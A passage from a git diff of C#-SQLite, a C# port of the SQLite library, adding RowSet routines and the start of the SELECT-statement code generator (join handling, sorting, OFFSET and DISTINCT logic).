entries */ + }; + + /* + ** A RowSet in an instance of the following structure. + ** + ** A typedef of this structure if found in sqliteInt.h. + */ + public class RowSet + { + public RowSetChunk pChunk; /* List of all chunk allocations */ + public sqlite3 db; /* The database connection */ + public RowSetEntry pEntry; /* /* List of entries using pRight */ + public RowSetEntry pLast; /* Last entry on the pEntry list */ + public RowSetEntry[] pFresh; /* Source of new entry objects */ + public RowSetEntry pTree; /* Binary tree of entries */ + public int nFresh; /* Number of objects on pFresh */ + public bool isSorted; /* True if pEntry is sorted */ + public u8 iBatch; /* Current insert batch */ + + public RowSet( sqlite3 db, int N ) + { + this.pChunk = null; + this.db = db; + this.pEntry = null; + this.pLast = null; + this.pFresh = new RowSetEntry[N]; + this.pTree = null; + this.nFresh = N; + this.isSorted = true; + this.iBatch = 0; + } + }; + + /* + ** Turn bulk memory into a RowSet object. N bytes of memory + ** are available at pSpace. The db pointer is used as a memory context + ** for any subsequent allocations that need to occur. + ** Return a pointer to the new RowSet object. + ** + ** It must be the case that N is sufficient to make a Rowset. If not + ** an assertion fault occurs. + ** + ** If N is larger than the minimum, use the surplus as an initial + ** allocation of entries available to be filled. + */ + static RowSet sqlite3RowSetInit( sqlite3 db, object pSpace, u32 N ) + { + RowSet p = new RowSet( db, (int)N ); + //Debug.Assert(N >= ROUND8(sizeof(*p)) ); + // p = pSpace; + // p.pChunk = 0; + // p.db = db; + // p.pEntry = 0; + // p.pLast = 0; + // p.pTree = 0; + // p.pFresh =(struct RowSetEntry*)(ROUND8(sizeof(*p)) + (char*)p); + // p.nFresh = (u16)((N - ROUND8(sizeof(*p)))/sizeof(struct RowSetEntry)); + // p.isSorted = 1; + // p.iBatch = 0; + return p; + } + + /* + ** Deallocate all chunks from a RowSet. This frees all memory that + ** the RowSet has allocated over its lifetime. This routine is + ** the destructor for the RowSet. + */ + static void sqlite3RowSetClear( RowSet p ) + { + RowSetChunk pChunk, pNextChunk; + for ( pChunk = p.pChunk ; pChunk != null ; pChunk = pNextChunk ) + { + pNextChunk = pChunk.pNextChunk; + //sqlite3DbFree( p.db, ref pChunk ); + } + p.pChunk = null; + p.nFresh = 0; + p.pEntry = null; + p.pLast = null; + p.pTree = null; + p.isSorted = true; + } + + /* + ** Insert a new value into a RowSet. + ** + ** The mallocFailed flag of the database connection is set if a + ** memory allocation fails. + */ + static void sqlite3RowSetInsert( RowSet p, i64 rowid ) + { + RowSetEntry pEntry; /* The new entry */ + RowSetEntry pLast; /* The last prior entry */ + Debug.Assert( p != null ); + if ( p.nFresh == 0 ) + { + RowSetChunk pNew; + pNew = new RowSetChunk();//sqlite3DbMallocRaw(p.db, sizeof(*pNew)); + if ( pNew == null ) + { + return; + } + pNew.pNextChunk = p.pChunk; + p.pChunk = pNew; + p.pFresh = pNew.aEntry; + p.nFresh = ROWSET_ENTRY_PER_CHUNK; + } + p.pFresh[p.pFresh.Length - p.nFresh] = new RowSetEntry(); + pEntry = p.pFresh[p.pFresh.Length - p.nFresh]; + p.nFresh--; + pEntry.v = rowid; + pEntry.pRight = null; + pLast = p.pLast; + if ( pLast != null ) + { + if ( p.isSorted && rowid <= pLast.v ) + { + p.isSorted = false; + } + pLast.pRight = pEntry; + } + else + { + Debug.Assert( p.pEntry == null );/* Fires if INSERT after SMALLEST */ + p.pEntry = pEntry; + } + p.pLast = pEntry; + } + + /* + ** Merge two lists of RowSetEntry objects. Remove duplicates. + ** + ** The input lists are connected via pRight pointers and are + ** assumed to each already be in sorted order. + */ + static RowSetEntry rowSetMerge( + RowSetEntry pA, /* First sorted list to be merged */ + RowSetEntry pB /* Second sorted list to be merged */ + ) + { + RowSetEntry head = new RowSetEntry(); + RowSetEntry pTail; + + pTail = head; + while ( pA != null && pB != null ) + { + Debug.Assert( pA.pRight == null || pA.v <= pA.pRight.v ); + Debug.Assert( pB.pRight == null || pB.v <= pB.pRight.v ); + if ( pA.v < pB.v ) + { + pTail.pRight = pA; + pA = pA.pRight; + pTail = pTail.pRight; + } + else if ( pB.v < pA.v ) + { + pTail.pRight = pB; + pB = pB.pRight; + pTail = pTail.pRight; + } + else + { + pA = pA.pRight; + } + } + if ( pA != null ) + { + Debug.Assert( pA.pRight == null || pA.v <= pA.pRight.v ); + pTail.pRight = pA; + } + else + { + Debug.Assert( pB == null || pB.pRight == null || pB.v <= pB.pRight.v ); + pTail.pRight = pB; + } + return head.pRight; + } + + /* + ** Sort all elements on the pEntry list of the RowSet into ascending order. + */ + static void rowSetSort( RowSet p ) + { + u32 i; + RowSetEntry pEntry; + RowSetEntry[] aBucket = new RowSetEntry[40]; + + Debug.Assert( p.isSorted == false ); + //memset(aBucket, 0, sizeof(aBucket)); + while ( p.pEntry != null ) + { + pEntry = p.pEntry; + p.pEntry = pEntry.pRight; + pEntry.pRight = null; + for ( i = 0 ; aBucket[i] != null ; i++ ) + { + pEntry = rowSetMerge( aBucket[i], pEntry ); + aBucket[i] = null; + } + aBucket[i] = pEntry; + } + pEntry = null; + for ( i = 0 ; i < aBucket.Length ; i++ )//sizeof(aBucket)/sizeof(aBucket[0]) + { + pEntry = rowSetMerge( pEntry, aBucket[i] ); + } + p.pEntry = pEntry; + p.pLast = null; + p.isSorted = true; + } + + /* + ** The input, pIn, is a binary tree (or subtree) of RowSetEntry objects. + ** Convert this tree into a linked list connected by the pRight pointers + ** and return pointers to the first and last elements of the new list. + */ + static void rowSetTreeToList( + RowSetEntry pIn, /* Root of the input tree */ + ref RowSetEntry ppFirst, /* Write head of the output list here */ + ref RowSetEntry ppLast /* Write tail of the output list here */ + ) + { + Debug.Assert( pIn != null ); + if ( pIn.pLeft != null ) + { + RowSetEntry p = new RowSetEntry(); + rowSetTreeToList( pIn.pLeft, ref ppFirst, ref p ); + p.pRight = pIn; + } + else + { + ppFirst = pIn; + } + if ( pIn.pRight != null ) + { + rowSetTreeToList( pIn.pRight, ref pIn.pRight, ref ppLast ); + } + else + { + ppLast = pIn; + } + Debug.Assert( ( ppLast ).pRight == null ); + } + + + /* + ** Convert a sorted list of elements (connected by pRight) into a binary + ** tree with depth of iDepth. A depth of 1 means the tree contains a single + ** node taken from the head of *ppList. A depth of 2 means a tree with + ** three nodes. And so forth. + ** + ** Use as many entries from the input list as required and update the + ** *ppList to point to the unused elements of the list. If the input + ** list contains too few elements, then construct an incomplete tree + ** and leave *ppList set to NULL. + ** + ** Return a pointer to the root of the constructed binary tree. + */ + static RowSetEntry rowSetNDeepTree( + ref RowSetEntry ppList, + int iDepth + ) + { + RowSetEntry p; /* Root of the new tree */ + RowSetEntry pLeft; /* Left subtree */ + if ( ppList == null ) + { + return null; + } + if ( iDepth == 1 ) + { + p = ppList; + ppList = p.pRight; + p.pLeft = p.pRight = null; + return p; + } + pLeft = rowSetNDeepTree( ref ppList, iDepth - 1 ); + p = ppList; + if ( p == null ) + { + return pLeft; + } + p.pLeft = pLeft; + ppList = p.pRight; + p.pRight = rowSetNDeepTree( ref ppList, iDepth - 1 ); + return p; + } + + /* + ** Convert a sorted list of elements into a binary tree. Make the tree + ** as deep as it needs to be in order to contain the entire list. + */ + static RowSetEntry rowSetListToTree( RowSetEntry pList ) + { + int iDepth; /* Depth of the tree so far */ + RowSetEntry p; /* Current tree root */ + RowSetEntry pLeft; /* Left subtree */ + + Debug.Assert( pList != null ); + p = pList; + pList = p.pRight; + p.pLeft = p.pRight = null; + for ( iDepth = 1 ; pList != null ; iDepth++ ) + { + pLeft = p; + p = pList; + pList = p.pRight; + p.pLeft = pLeft; + p.pRight = rowSetNDeepTree( ref pList, iDepth ); + } + return p; + } + + /* + ** Convert the list in p.pEntry into a sorted list if it is not + ** sorted already. If there is a binary tree on p.pTree, then + ** convert it into a list too and merge it into the p.pEntry list. + */ + static void rowSetToList( RowSet p ) + { + if ( !p.isSorted ) + { + rowSetSort( p ); + } + if ( p.pTree != null ) + { + RowSetEntry pHead = new RowSetEntry(), pTail = new RowSetEntry(); + rowSetTreeToList( p.pTree, ref pHead, ref pTail ); + p.pTree = null; + p.pEntry = rowSetMerge( p.pEntry, pHead ); + } + } + + /* + ** Extract the smallest element from the RowSet. + ** Write the element into *pRowid. Return 1 on success. Return + ** 0 if the RowSet is already empty. + ** + ** After this routine has been called, the sqlite3RowSetInsert() + ** routine may not be called again. + */ + static int sqlite3RowSetNext( RowSet p, ref i64 pRowid ) + { + rowSetToList( p ); + if ( p.pEntry != null ) + { + pRowid = p.pEntry.v; + p.pEntry = p.pEntry.pRight; + if ( p.pEntry == null ) + { + sqlite3RowSetClear( p ); + } + return 1; + } + else + { + return 0; + } + } + + /* + ** Check to see if element iRowid was inserted into the the rowset as + ** part of any insert batch prior to iBatch. Return 1 or 0. + */ + static int sqlite3RowSetTest( RowSet pRowSet, u8 iBatch, sqlite3_int64 iRowid ) + { + RowSetEntry p; + if ( iBatch != pRowSet.iBatch ) + { + if ( pRowSet.pEntry != null ) + { + rowSetToList( pRowSet ); + pRowSet.pTree = rowSetListToTree( pRowSet.pEntry ); + pRowSet.pEntry = null; + pRowSet.pLast = null; + } + pRowSet.iBatch = iBatch; + } + p = pRowSet.pTree; + while ( p != null ) + { + if ( p.v < iRowid ) + { + p = p.pRight; + } + else if ( p.v > iRowid ) + { + p = p.pLeft; + } + else + { + return 1; + } + } + return 0; + } + + } +} diff --git a/SQLite/src/select_c.cs b/SQLite/src/select_c.cs new file mode 100644 index 0000000..4509c2c --- /dev/null +++ b/SQLite/src/select_c.cs @@ -0,0 +1,4812 @@ +#define SQLITE_MAX_EXPR_DEPTH +using System; +using System.Diagnostics; +using System.Text; + +using i16 = System.Int16; +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; + +using Pgno = System.UInt32; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains C code routines that are called by the parser + ** to handle SELECT statements in SQLite. + ** + ** $Id: select.c,v 1.526 2009/08/01 15:09:58 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + + + /* + ** Delete all the content of a Select structure but do not deallocate + ** the select structure itself. + */ + static void clearSelect( sqlite3 db, Select p ) + { + sqlite3ExprListDelete( db, ref p.pEList ); + sqlite3SrcListDelete( db, ref p.pSrc ); + sqlite3ExprDelete( db, ref p.pWhere ); + sqlite3ExprListDelete( db, ref p.pGroupBy ); + sqlite3ExprDelete( db, ref p.pHaving ); + sqlite3ExprListDelete( db, ref p.pOrderBy ); + sqlite3SelectDelete( db, ref p.pPrior ); + sqlite3ExprDelete( db, ref p.pLimit ); + sqlite3ExprDelete( db, ref p.pOffset ); + } + + /* + ** Initialize a SelectDest structure. + */ + static void sqlite3SelectDestInit( SelectDest pDest, int eDest, int iParm ) + { + pDest.eDest = (u8)eDest; + pDest.iParm = iParm; + pDest.affinity = '\0'; + pDest.iMem = 0; + pDest.nMem = 0; + } + + + /* + ** Allocate a new Select structure and return a pointer to that + ** structure. + */ + // OVERLOADS, so I don't need to rewrite parse.c + static Select sqlite3SelectNew( Parse pParse, int null_2, SrcList pSrc, int null_4, int null_5, int null_6, int null_7, int isDistinct, int null_9, int null_10 ) + { + return sqlite3SelectNew( pParse, null, pSrc, null, null, null, null, isDistinct, null, null ); + } + static Select sqlite3SelectNew( + Parse pParse, /* Parsing context */ + ExprList pEList, /* which columns to include in the result */ + SrcList pSrc, /* the FROM clause -- which tables to scan */ + Expr pWhere, /* the WHERE clause */ + ExprList pGroupBy, /* the GROUP BY clause */ + Expr pHaving, /* the HAVING clause */ + ExprList pOrderBy, /* the ORDER BY clause */ + int isDistinct, /* true if the DISTINCT keyword is present */ + Expr pLimit, /* LIMIT value. NULL means not used */ + Expr pOffset /* OFFSET value. NULL means no offset */ + ) + { + Select pNew; + // Select standin; + sqlite3 db = pParse.db; + pNew = new Select();//sqlite3DbMallocZero(db, sizeof(*pNew) ); + Debug.Assert( //db.mallocFailed != 0 || + null == pOffset || pLimit != null ); /* OFFSET implies LIMIT */ + //if( pNew==null ){ + // pNew = standin; + // memset(pNew, 0, sizeof(*pNew)); + //} + if ( pEList == null ) + { + pEList = sqlite3ExprListAppend( pParse, null, sqlite3Expr( db, TK_ALL, null ) ); + } + pNew.pEList = pEList; + pNew.pSrc = pSrc; + pNew.pWhere = pWhere; + pNew.pGroupBy = pGroupBy; + pNew.pHaving = pHaving; + pNew.pOrderBy = pOrderBy; + pNew.selFlags = (u16)( isDistinct != 0 ? SF_Distinct : 0 ); + pNew.op = TK_SELECT; + pNew.pLimit = pLimit; + pNew.pOffset = pOffset; + Debug.Assert( pOffset == null || pLimit != null ); + pNew.addrOpenEphm[0] = -1; + pNew.addrOpenEphm[1] = -1; + pNew.addrOpenEphm[2] = -1; + //if ( db.mallocFailed != 0 ) + //{ + // clearSelect( db, pNew ); + // //if ( pNew != standin ) //sqlite3DbFree( db, ref pNew ); + // pNew = null; + //} + return pNew; + } + + /* + ** Delete the given Select structure and all of its substructures. + */ + static void sqlite3SelectDelete( sqlite3 db, ref Select p ) + { + if ( p != null ) + { + clearSelect( db, p ); + //sqlite3DbFree( db, ref p ); + } + } + + /* + ** Given 1 to 3 identifiers preceeding the JOIN keyword, determine the + ** type of join. Return an integer constant that expresses that type + ** in terms of the following bit values: + ** + ** JT_INNER + ** JT_CROSS + ** JT_OUTER + ** JT_NATURAL + ** JT_LEFT + ** JT_RIGHT + ** + ** A full outer join is the combination of JT_LEFT and JT_RIGHT. + ** + ** If an illegal or unsupported join type is seen, then still return + ** a join type, but put an error in the pParse structure. + */ + + class Keyword + { + public u8 i; /* Beginning of keyword text in zKeyText[] */ + public u8 nChar; /* Length of the keyword in characters */ + public u8 code; /* Join type mask */ + public Keyword( u8 i, u8 nChar, u8 code ) + { + this.i = i; + this.nChar = nChar; + this.code = code; + } + } + + // OVERLOADS, so I don't need to rewrite parse.c + static int sqlite3JoinType( Parse pParse, Token pA, int null_3, int null_4 ) + { + return sqlite3JoinType( pParse, pA, null, null ); + } + static int sqlite3JoinType( Parse pParse, Token pA, Token pB, int null_4 ) + { + return sqlite3JoinType( pParse, pA, pB, null ); + } + static int sqlite3JoinType( Parse pParse, Token pA, Token pB, Token pC ) + { + int jointype = 0; + Token[] apAll = new Token[3]; + Token p; + + /* 0123456789 123456789 123456789 123 */ + string zKeyText = "naturaleftouterightfullinnercross"; + + Keyword[] aKeyword = new Keyword[]{ +/* natural */ new Keyword( 0, 7, JT_NATURAL ), +/* left */ new Keyword( 6, 4, JT_LEFT|JT_OUTER ), +/* outer */ new Keyword( 10, 5, JT_OUTER ), +/* right */ new Keyword( 14, 5, JT_RIGHT|JT_OUTER ), +/* full */ new Keyword( 19, 4, JT_LEFT|JT_RIGHT|JT_OUTER ), +/* inner */ new Keyword( 23, 5, JT_INNER ), +/* cross */ new Keyword( 28, 5, JT_INNER|JT_CROSS ), +}; + int i, j; + apAll[0] = pA; + apAll[1] = pB; + apAll[2] = pC; + for ( i = 0 ; i < 3 && apAll[i] != null ; i++ ) + { + p = apAll[i]; + for ( j = 0 ; j < ArraySize( aKeyword ) ; j++ ) + { + if ( p.n == aKeyword[j].nChar + && sqlite3StrNICmp( p.z.ToString(), zKeyText.Substring( aKeyword[j].i ), p.n ) == 0 ) + { + jointype |= aKeyword[j].code; + break; + } + } + testcase( j == 0 || j == 1 || j == 2 || j == 3 || j == 4 || j == 5 || j == 6 ); + if ( j >= ArraySize( aKeyword ) ) + { + jointype |= JT_ERROR; + break; + } + } + if ( + ( jointype & ( JT_INNER | JT_OUTER ) ) == ( JT_INNER | JT_OUTER ) || + ( jointype & JT_ERROR ) != 0 + ) + { + string zSp = " "; + Debug.Assert( pB != null ); + if ( pC == null ) { zSp = ""; } + sqlite3ErrorMsg( pParse, "unknown or unsupported join type: " + + "%T %T%s%T", pA, pB, zSp, pC ); + jointype = JT_INNER; + } + else if ( ( jointype & JT_OUTER ) != 0 + && ( jointype & ( JT_LEFT | JT_RIGHT ) ) != JT_LEFT ) + { + sqlite3ErrorMsg( pParse, + "RIGHT and FULL OUTER JOINs are not currently supported" ); + jointype = JT_INNER; + } + return jointype; + } + + /* + ** Return the index of a column in a table. Return -1 if the column + ** is not contained in the table. + */ + static int columnIndex( Table pTab, string zCol ) + { + int i; + for ( i = 0 ; i < pTab.nCol ; i++ ) + { + if ( sqlite3StrICmp( pTab.aCol[i].zName, zCol ) == 0 ) return i; + } + return -1; + } + + + /* + ** Create an expression node for an identifier with the name of zName + */ + static Expr sqlite3CreateIdExpr( Parse pParse, string zName ) + { + return sqlite3Expr( pParse.db, TK_ID, zName ); + } + + + /* + ** Add a term to the WHERE expression in ppExpr that requires the + ** zCol column to be equal in the two tables pTab1 and pTab2. + */ + static void addWhereTerm( + Parse pParse, /* Parsing context */ + string zCol, /* Name of the column */ + Table pTab1, /* First table */ + string zAlias1, /* Alias for first table. May be NULL */ + Table pTab2, /* Second table */ + string zAlias2, /* Alias for second table. May be NULL */ + int iRightJoinTable, /* VDBE cursor for the right table */ + ref Expr ppExpr, /* Add the equality term to this expression */ + bool isOuterJoin /* True if dealing with an OUTER join */ + ) + { + Expr pE1a, pE1b, pE1c; + Expr pE2a, pE2b, pE2c; + Expr pE; + + pE1a = sqlite3CreateIdExpr( pParse, zCol ); + pE2a = sqlite3CreateIdExpr( pParse, zCol ); + if ( zAlias1 == null ) + { + zAlias1 = pTab1.zName; + } + pE1b = sqlite3CreateIdExpr( pParse, zAlias1 ); + if ( zAlias2 == null ) + { + zAlias2 = pTab2.zName; + } + pE2b = sqlite3CreateIdExpr( pParse, zAlias2 ); + pE1c = sqlite3PExpr( pParse, TK_DOT, pE1b, pE1a, null ); + pE2c = sqlite3PExpr( pParse, TK_DOT, pE2b, pE2a, null ); + pE = sqlite3PExpr( pParse, TK_EQ, pE1c, pE2c, null ); + if ( pE != null && isOuterJoin ) + { + ExprSetProperty( pE, EP_FromJoin ); + Debug.Assert( !ExprHasAnyProperty( pE, EP_TokenOnly | EP_Reduced ) ); + ExprSetIrreducible( pE ); + pE.iRightJoinTable = (i16)iRightJoinTable; + } + ppExpr = sqlite3ExprAnd( pParse.db, ppExpr, pE ); + } + + /* + ** Set the EP_FromJoin property on all terms of the given expression. + ** And set the Expr.iRightJoinTable to iTable for every term in the + ** expression. + ** + ** The EP_FromJoin property is used on terms of an expression to tell + ** the LEFT OUTER JOIN processing logic that this term is part of the + ** join restriction specified in the ON or USING clause and not a part + ** of the more general WHERE clause. These terms are moved over to the + ** WHERE clause during join processing but we need to remember that they + ** originated in the ON or USING clause. + ** + ** The Expr.iRightJoinTable tells the WHERE clause processing that the + ** expression depends on table iRightJoinTable even if that table is not + ** explicitly mentioned in the expression. That information is needed + ** for cases like this: + ** + ** SELECT * FROM t1 LEFT JOIN t2 ON t1.a=t2.b AND t1.x=5 + ** + ** The where clause needs to defer the handling of the t1.x=5 + ** term until after the t2 loop of the join. In that way, a + ** NULL t2 row will be inserted whenever t1.x!=5. If we do not + ** defer the handling of t1.x=5, it will be processed immediately + ** after the t1 loop and rows with t1.x!=5 will never appear in + ** the output, which is incorrect. + */ + static void setJoinExpr( Expr p, int iTable ) + { + while ( p != null ) + { + ExprSetProperty( p, EP_FromJoin ); + Debug.Assert( !ExprHasAnyProperty( p, EP_TokenOnly | EP_Reduced ) ); + ExprSetIrreducible( p ); + p.iRightJoinTable = (i16)iTable; + setJoinExpr( p.pLeft, iTable ); + p = p.pRight; + } + } + + /* + ** This routine processes the join information for a SELECT statement. + ** ON and USING clauses are converted into extra terms of the WHERE clause. + ** NATURAL joins also create extra WHERE clause terms. + ** + ** The terms of a FROM clause are contained in the Select.pSrc structure. + ** The left most table is the first entry in Select.pSrc. The right-most + ** table is the last entry. The join operator is held in the entry to + ** the left. Thus entry 0 contains the join operator for the join between + ** entries 0 and 1. Any ON or USING clauses associated with the join are + ** also attached to the left entry. + ** + ** This routine returns the number of errors encountered. + */ + static int sqliteProcessJoin( Parse pParse, Select p ) + { + SrcList pSrc; /* All tables in the FROM clause */ + int i; int j; /* Loop counters */ + SrcList_item pLeft; /* Left table being joined */ + SrcList_item pRight; /* Right table being joined */ + + pSrc = p.pSrc; + //pLeft = pSrc.a[0]; + //pRight = pLeft[1]; + for ( i = 0 ; i < pSrc.nSrc - 1 ; i++ ) + { + pLeft = pSrc.a[i]; // pLeft ++ + pRight = pSrc.a[i + 1];//Right++, + Table pLeftTab = pLeft.pTab; + Table pRightTab = pRight.pTab; + bool isOuter; + + if ( NEVER( pLeftTab == null || pRightTab == null ) ) continue; + isOuter = ( pRight.jointype & JT_OUTER ) != 0; + + /* When the NATURAL keyword is present, add WHERE clause terms for + ** every column that the two tables have in common. + */ + if ( ( pRight.jointype & JT_NATURAL ) != 0 ) + { + if ( pRight.pOn != null || pRight.pUsing != null ) + { + sqlite3ErrorMsg( pParse, "a NATURAL join may not have " + + "an ON or USING clause", "" ); + return 1; + } + for ( j = 0 ; j < pLeftTab.nCol ; j++ ) + { + string zName = pLeftTab.aCol[j].zName; + if ( columnIndex( pRightTab, zName ) >= 0 ) + { + addWhereTerm( pParse, zName, pLeftTab, pLeft.zAlias, + pRightTab, pRight.zAlias, + pRight.iCursor, ref p.pWhere, isOuter ); + + } + } + } + + /* Disallow both ON and USING clauses in the same join + */ + if ( pRight.pOn != null && pRight.pUsing != null ) + { + sqlite3ErrorMsg( pParse, "cannot have both ON and USING " + + "clauses in the same join" ); + return 1; + } + + /* Add the ON clause to the end of the WHERE clause, connected by + ** an AND operator. + */ + if ( pRight.pOn != null ) + { + if ( isOuter ) setJoinExpr( pRight.pOn, pRight.iCursor ); + p.pWhere = sqlite3ExprAnd( pParse.db, p.pWhere, pRight.pOn ); + pRight.pOn = null; + } + + /* Create extra terms on the WHERE clause for each column named + ** in the USING clause. Example: If the two tables to be joined are + ** A and B and the USING clause names X, Y, and Z, then add this + ** to the WHERE clause: A.X=B.X AND A.Y=B.Y AND A.Z=B.Z + ** Report an error if any column mentioned in the USING clause is + ** not contained in both tables to be joined. + */ + if ( pRight.pUsing != null ) + { + IdList pList = pRight.pUsing; + for ( j = 0 ; j < pList.nId ; j++ ) + { + string zName = pList.a[j].zName; + if ( columnIndex( pLeftTab, zName ) < 0 || columnIndex( pRightTab, zName ) < 0 ) + { + sqlite3ErrorMsg( pParse, "cannot join using column %s - column " + + "not present in both tables", zName ); + return 1; + } + addWhereTerm( pParse, zName, pLeftTab, pLeft.zAlias, + pRightTab, pRight.zAlias, + pRight.iCursor, ref p.pWhere, isOuter ); + } + } + } + return 0; + } + + /* + ** Insert code into "v" that will push the record on the top of the + ** stack into the sorter. + */ + static void pushOntoSorter( + Parse pParse, /* Parser context */ + ExprList pOrderBy, /* The ORDER BY clause */ + Select pSelect, /* The whole SELECT statement */ + int regData /* Register holding data to be sorted */ + ) + { + Vdbe v = pParse.pVdbe; + int nExpr = pOrderBy.nExpr; + int regBase = sqlite3GetTempRange( pParse, nExpr + 2 ); + int regRecord = sqlite3GetTempReg( pParse ); + sqlite3ExprCacheClear( pParse ); + sqlite3ExprCodeExprList( pParse, pOrderBy, regBase, false ); + sqlite3VdbeAddOp2( v, OP_Sequence, pOrderBy.iECursor, regBase + nExpr ); + sqlite3ExprCodeMove( pParse, regData, regBase + nExpr + 1, 1 ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, regBase, nExpr + 2, regRecord ); + sqlite3VdbeAddOp2( v, OP_IdxInsert, pOrderBy.iECursor, regRecord ); + sqlite3ReleaseTempReg( pParse, regRecord ); + sqlite3ReleaseTempRange( pParse, regBase, nExpr + 2 ); + if ( pSelect.iLimit != 0 ) + { + int addr1, addr2; + int iLimit; + if ( pSelect.iOffset != 0 ) + { + iLimit = pSelect.iOffset + 1; + } + else + { + iLimit = pSelect.iLimit; + } + addr1 = sqlite3VdbeAddOp1( v, OP_IfZero, iLimit ); + sqlite3VdbeAddOp2( v, OP_AddImm, iLimit, -1 ); + addr2 = sqlite3VdbeAddOp0( v, OP_Goto ); + sqlite3VdbeJumpHere( v, addr1 ); + sqlite3VdbeAddOp1( v, OP_Last, pOrderBy.iECursor ); + sqlite3VdbeAddOp1( v, OP_Delete, pOrderBy.iECursor ); + sqlite3VdbeJumpHere( v, addr2 ); + pSelect.iLimit = 0; + } + } + + /* + ** Add code to implement the OFFSET + */ + static void codeOffset( + Vdbe v, /* Generate code into this VM */ + Select p, /* The SELECT statement being coded */ + int iContinue /* Jump here to skip the current record */ + ) + { + if ( p.iOffset != 0 && iContinue != 0 ) + { + int addr; + sqlite3VdbeAddOp2( v, OP_AddImm, p.iOffset, -1 ); + addr = sqlite3VdbeAddOp1( v, OP_IfNeg, p.iOffset ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, iContinue ); +#if SQLITE_DEBUG + VdbeComment( v, "skip OFFSET records" ); +#endif + sqlite3VdbeJumpHere( v, addr ); + } + } + + /* + ** Add code that will check to make sure the N registers starting at iMem + ** form a distinct entry. iTab is a sorting index that holds previously + ** seen combinations of the N values. A new entry is made in iTab + ** if the current N values are new. + ** + ** A jump to addrRepeat is made and the N+1 values are popped from the + ** stack if the top N elements are not distinct. + */ + static void codeDistinct( + Parse pParse, /* Parsing and code generating context */ + int iTab, /* A sorting index used to test for distinctness */ + int addrRepeat, /* Jump to here if not distinct */ + int N, /* Number of elements */ + int iMem /* First element */ + ) + { + Vdbe v; + int r1; + + v = pParse.pVdbe; + r1 = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, iMem, N, r1 ); + sqlite3VdbeAddOp3( v, OP_Found, iTab, addrRepeat, r1 ); + sqlite3VdbeAddOp2( v, OP_IdxInsert, iTab, r1 ); + sqlite3ReleaseTempReg( pParse, r1 ); + } + + /* + ** Generate an error message when a SELECT is used within a subexpression + ** (example: "a IN (SELECT * FROM table)") but it has more than 1 result + ** column. We do this in a subroutine because the error occurs in multiple + ** places. + */ + static bool checkForMultiColumnSelectError( + Parse pParse, /* Parse context. */ + SelectDest pDest, /* Destination of SELECT results */ + int nExpr /* Number of result columns returned by SELECT */ + ) + { + int eDest = pDest.eDest; + if ( nExpr > 1 && ( eDest == SRT_Mem || eDest == SRT_Set ) ) + { + sqlite3ErrorMsg( pParse, "only a single result allowed for " + + "a SELECT that is part of an expression" ); + return true; + } + else + { + return false; + } + } + + /* + ** This routine generates the code for the inside of the inner loop + ** of a SELECT. + ** + ** If srcTab and nColumn are both zero, then the pEList expressions + ** are evaluated in order to get the data for this row. If nColumn>0 + ** then data is pulled from srcTab and pEList is used only to get the + ** datatypes for each column. + */ + static void selectInnerLoop( + Parse pParse, /* The parser context */ + Select p, /* The complete select statement being coded */ + ExprList pEList, /* List of values being extracted */ + int srcTab, /* Pull data from this table */ + int nColumn, /* Number of columns in the source table */ + ExprList pOrderBy, /* If not NULL, sort results using this key */ + int distinct, /* If >=0, make sure results are distinct */ + SelectDest pDest, /* How to dispose of the results */ + int iContinue, /* Jump here to continue with next row */ + int iBreak /* Jump here to break out of the inner loop */ + ) + { + Vdbe v = pParse.pVdbe; + int i; + bool hasDistinct; /* True if the DISTINCT keyword is present */ + int regResult; /* Start of memory holding result set */ + int eDest = pDest.eDest; /* How to dispose of results */ + int iParm = pDest.iParm; /* First argument to disposal method */ + int nResultCol; /* Number of result columns */ + + Debug.Assert( v != null ); + if ( NEVER( v == null ) ) return; + Debug.Assert( pEList != null ); + hasDistinct = distinct >= 0; + if ( pOrderBy == null && !hasDistinct ) + { + codeOffset( v, p, iContinue ); + } + + /* Pull the requested columns. + */ + if ( nColumn > 0 ) + { + nResultCol = nColumn; + } + else + { + nResultCol = pEList.nExpr; + } + if ( pDest.iMem == 0 ) + { + pDest.iMem = pParse.nMem + 1; + pDest.nMem = nResultCol; + pParse.nMem += nResultCol; + } + else + { + Debug.Assert( pDest.nMem == nResultCol ); + } + regResult = pDest.iMem; + if ( nColumn > 0 ) + { + for ( i = 0 ; i < nColumn ; i++ ) + { + sqlite3VdbeAddOp3( v, OP_Column, srcTab, i, regResult + i ); + } + } + else if ( eDest != SRT_Exists ) + { + /* If the destination is an EXISTS(...) expression, the actual + ** values returned by the SELECT are not required. + */ + sqlite3ExprCacheClear( pParse ); + sqlite3ExprCodeExprList( pParse, pEList, regResult, eDest == SRT_Output ); + } + nColumn = nResultCol; + + /* If the DISTINCT keyword was present on the SELECT statement + ** and this row has been seen before, then do not make this row + ** part of the result. + */ + if ( hasDistinct ) + { + Debug.Assert( pEList != null ); + Debug.Assert( pEList.nExpr == nColumn ); + codeDistinct( pParse, distinct, iContinue, nColumn, regResult ); + if ( pOrderBy == null ) + { + codeOffset( v, p, iContinue ); + } + } + + if ( checkForMultiColumnSelectError( pParse, pDest, pEList.nExpr ) ) + { + return; + } + + switch ( eDest ) + { + /* In this mode, write each query result to the key of the temporary + ** table iParm. + */ +#if !SQLITE_OMIT_COMPOUND_SELECT + case SRT_Union: + { + int r1; + r1 = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, regResult, nColumn, r1 ); + sqlite3VdbeAddOp2( v, OP_IdxInsert, iParm, r1 ); + sqlite3ReleaseTempReg( pParse, r1 ); + break; + } + + /* Construct a record from the query result, but instead of + ** saving that record, use it as a key to delete elements from + ** the temporary table iParm. + */ + case SRT_Except: + { + sqlite3VdbeAddOp3( v, OP_IdxDelete, iParm, regResult, nColumn ); + break; + } +#endif + + /* Store the result as data using a unique key. +*/ + case SRT_Table: 